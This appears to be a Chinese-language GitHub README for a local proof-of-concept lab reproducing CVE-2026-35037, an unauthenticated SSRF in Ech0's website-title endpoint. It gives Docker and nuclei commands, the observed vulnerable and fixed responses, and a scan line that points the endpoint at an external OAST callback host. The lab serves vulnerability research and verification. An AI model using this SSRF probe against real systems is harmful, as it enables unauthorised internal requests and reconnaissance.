fineman999/POC_CVE-2026-35037
GitHub: fineman999/POC_CVE-2026-35037
这是一个用于复现CVE-2026-35037 SSRF漏洞的本地隔离实验环境。
Stars: 0 | Forks: 0
# CVE-2026-35037 Ech0 SSRF 实验室
本仓库包含一个用于复现 `CVE-2026-35037` 的本地隔离实验环境,该漏洞是 Ech0 的 `GET /api/website/title` 端点存在的未授权 SSRF 漏洞。
实验室使用受控的本地证据服务器,而非云元数据或第三方基础设施。
## 摘要
- 产品:`lin-snow/Ech0`
- 漏洞类型:服务端请求伪造
- CVE 编号:`CVE-2026-35037`
- GHSA 编号:`GHSA-cqgf-f4x7-g6wc`
- 受影响版本:GHSA 列出 `<= 4.2.1`;NVD 描述为 `4.2.8` 之前的所有版本
- 已修复版本:`4.2.8`
- 受影响端点:`GET /api/website/title`
- 参数:`website_url`
- 身份验证:漏洞版本中无需认证
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2026-35037
- https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc
## 文件说明
- `docker-compose.yml`:启动 Ech0 和本地证据 HTTP 服务器
- `Dockerfile.ech0-lab`:从官方 GitHub 标签构建 Ech0 镜像
- `verify-cve-2026-35037.sh`:发送受控的 SSRF 验证请求
- `evidence/index.html`:包含唯一 `` 标签的受控 HTML 页面
- `nuclei/CVE-2026-35037.yaml`:nuclei 模板候选文件
## 为何从源代码构建?
当实验室创建时,历史漏洞 Docker 标签如 `sn0wl1n/ech0:4.2.1` 已无法获取。因此,本实验室改为从官方 `lin-snow/Ech0` 的 GitHub 标签构建:
- `v4.2.1` 作为漏洞版本候选
- `v4.2.8` 用于修复版本对比
本地 Dockerfile 也避免了在使用历史 `build.Dockerfile` 时观察到的上游构建问题。
## 环境要求
- Docker Engine 或 Docker Desktop
- `curl`
- 可选:`nuclei`
请仅在本地隔离环境中运行此实验。切勿将这些命令用于第三方系统。仅针对您拥有或已获得明确书面授权测试的系统使用。
## 复现漏洞行为
启动 Ech0 `v4.2.1`:
```
ECH0_TAG=4.2.1 docker compose up -d --build
```
发送受控验证请求:
```
sh verify-cve-2026-35037.sh
```
预期漏洞响应:
```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
```
确认 Ech0 已访问受控证据服务器:
```
docker compose logs evidence
```
观察到的证据日志:
```
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
```
## 对比修复版本
启动 Ech0 `v4.2.8`:
```
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
```
运行相同请求:
```
sh verify-cve-2026-35037.sh
```
观察到的修复版本响应:
```
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
```
## Nuclei 验证
验证模板:
```
nuclei -validate -t nuclei/CVE-2026-35037.yaml
```
针对漏洞版本 `v4.2.1` 运行:
```
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
```
观察到的漏洞结果:
```
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
```
针对修复版本 `v4.2.8` 运行:
```
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
```
观察到的修复结果:
```
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
```
## 清理
```
docker compose down -v
```
## 注意事项
- 手动实验室在 Docker Compose 网络内部使用 `http://evidence:8080/`。
- nuclei 模板使用 `{{interactsh-url}}`,需要 OAST/interactsh 支持。
- nuclei 模板使用 `{{interactsh-url}}`,默认联系 ProjectDiscovery 的 interactsh 服务器,例如 `oast.online` 或 `oast.fun`。可使用 `-iserver` 覆盖服务器或使用 `-ni` 禁用 interactsh。
- 本实验室不探测云元数据端点。
- 本实验室不联系生产环境或第三方目标,Docker 构建过程中的常规依赖/镜像下载除外。
标签:CISA项目, CVE-2026-35037, Docker容器化, HTTP端点, 安全实验室, 安全测试, 应用安全, 情报收集, 攻击性安全, 攻击模拟, 服务器端请求伪造, 未认证漏洞, 本地隔离环境, 概念验证POC, 漏洞复现, 漏洞研究, 网络安全, 请求伪造, 请求拦截, 隐私保护, 驱动签名利用